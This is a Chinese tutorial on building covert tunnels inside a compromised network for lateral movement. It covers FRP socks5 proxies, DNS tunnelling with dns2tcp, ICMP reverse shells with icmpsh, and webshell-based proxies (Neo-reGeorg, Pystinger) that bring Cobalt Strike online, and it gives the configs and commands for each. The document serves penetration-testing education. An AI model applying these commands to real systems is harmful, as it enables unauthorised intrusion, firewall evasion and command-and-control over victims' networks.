内网渗透之主机出网与不出网隧道搭建技术详解
一、概述
在内网渗透过程中,获取目标服务器权限后,建立隧道是进行内网横向移动的关键步骤。根据目标主机是否能够出网(连接外部网络),隧道搭建技术可分为出网情况和不出网情况两大类。
二、出网情况隧道搭建
1. FRP隧道搭建
简介:FRP是一个高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议。
工具地址:https://github.com/fatedier/frp/
搭建步骤:
-
准备文件:
- frps (服务端程序)
- frps.ini (服务端配置文件)
- frpc (客户端程序)
- frpc.ini (客户端配置文件)
-
修改客户端配置文件(frpc.ini):
[common] server_addr = 服务端IP server_port = 服务端监听端口 [socks5] type = tcp remote_port = 代理端口 plugin = socks5 -
上传客户端文件至目标服务器并启动:
./frpc -c frpc.ini -
服务端启动监听:
./frps -c frps.ini -
使用Proxifier等工具配置全局代理
2. DNS隧道搭建
简介:利用DNS协议进行数据传输,适用于严格网络限制环境。
工具地址:https://github.com/HEYAHONG/dns2tcp
准备工作:
- 准备一个域名(如123.com)
- 配置DNS记录:
a.123.com NS b.123.com b.123.com A 1.1.1.1 (服务器IP)
搭建步骤:
-
服务端配置(dns2tcpd.conf):
listen = 0.0.0.0 port = 53 user = root chroot = /home/ domain = a.123.com key = 123 resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080 -
启动服务端:
dns2tcpd -F -d 3 -f /home/dns2tcpd.conf -
客户端连接:
dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2 -
使用nc进行文件传输
3. ICMP隧道搭建
简介:利用ICMP协议(ping)进行数据传输,适用于防火墙不屏蔽ping的环境。
工具地址:https://github.com/inquisb/icmpsh
搭建步骤:
-
服务端启动:
python icmpsh_m.py 本地IP 目标IP -
目标机执行:
icmpsh.exe -t 目标IP
三、不出网情况隧道搭建
1. Neo-reGeorg隧道
简介:基于webshell的代理工具,是reGeorg的升级版,隐蔽性更强。
工具地址:https://github.com/L-codes/Neo-reGeorg
搭建步骤:
-
生成webshell:
python neoreg.py generate -k password -
上传生成的webshell到目标服务器
-
启动监听:
python neoreg.py -k password -u http://目标URL/tunnel.php -
配置socks代理访问内网
2. Pystinger(毒刺)隧道
简介:通过webshell实现内网socks4代理,支持CS/MSF上线。
工具地址:https://github.com/FunnyWolf/pystinger
功能:
- 内网socks4代理
- CS/MSF上线
搭建步骤:
A. socks4隧道搭建
-
上传proxy.php和stinger_server.exe到目标服务器
-
目标服务器执行:
start stinger_server.exe -
本地服务器执行:
./stinger_client -w http://目标URL/proxy.php -l 0.0.0.0 -p 60000 -
使用Proxifier等工具配置代理
B. CS上线
-
上传proxy.php和stinger_server.exe到目标服务器
-
使用冰蝎启动stinger_server.exe
-
本地服务器执行:
./stinger_client -w http://目标URL/proxy.php -l 0.0.0.0 -p 60000 -
CS监听端口60020
-
生成powershell并利用pystinger执行
四、工具对比与选择建议
| 工具类型 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| FRP | 出网主机 | 速度快,支持多种协议 | 需要配置服务端 |
| DNS隧道 | 严格网络限制 | 隐蔽性高 | 速度慢,需要域名 |
| ICMP隧道 | 只允许ping的环境 | 能绕过大多数防火墙 | 速度最慢 |
| Neo-reGeorg | 不出网主机 | 基于webshell,隐蔽 | 依赖web服务 |
| Pystinger | 不出网主机 | 功能强大,支持CS上线 | 需要上传exe文件 |
五、注意事项
- 隧道搭建前应充分进行信息收集,了解目标网络环境
- 根据实际网络限制选择合适的隧道技术
- 隐蔽性要求高的场景优先选择DNS隧道或ICMP隧道
- 不出网环境只能依赖webshell建立代理
- 所有操作应在合法授权范围内进行
六、总结
内网渗透中隧道搭建是横向移动的关键技术,本文详细介绍了出网和不出网两种情况下常用的隧道搭建方法。实际渗透测试中应根据目标环境灵活选择合适的技术,并注意操作的隐蔽性和合法性。持续学习和掌握新的隧道技术是内网渗透测试人员必备的技能。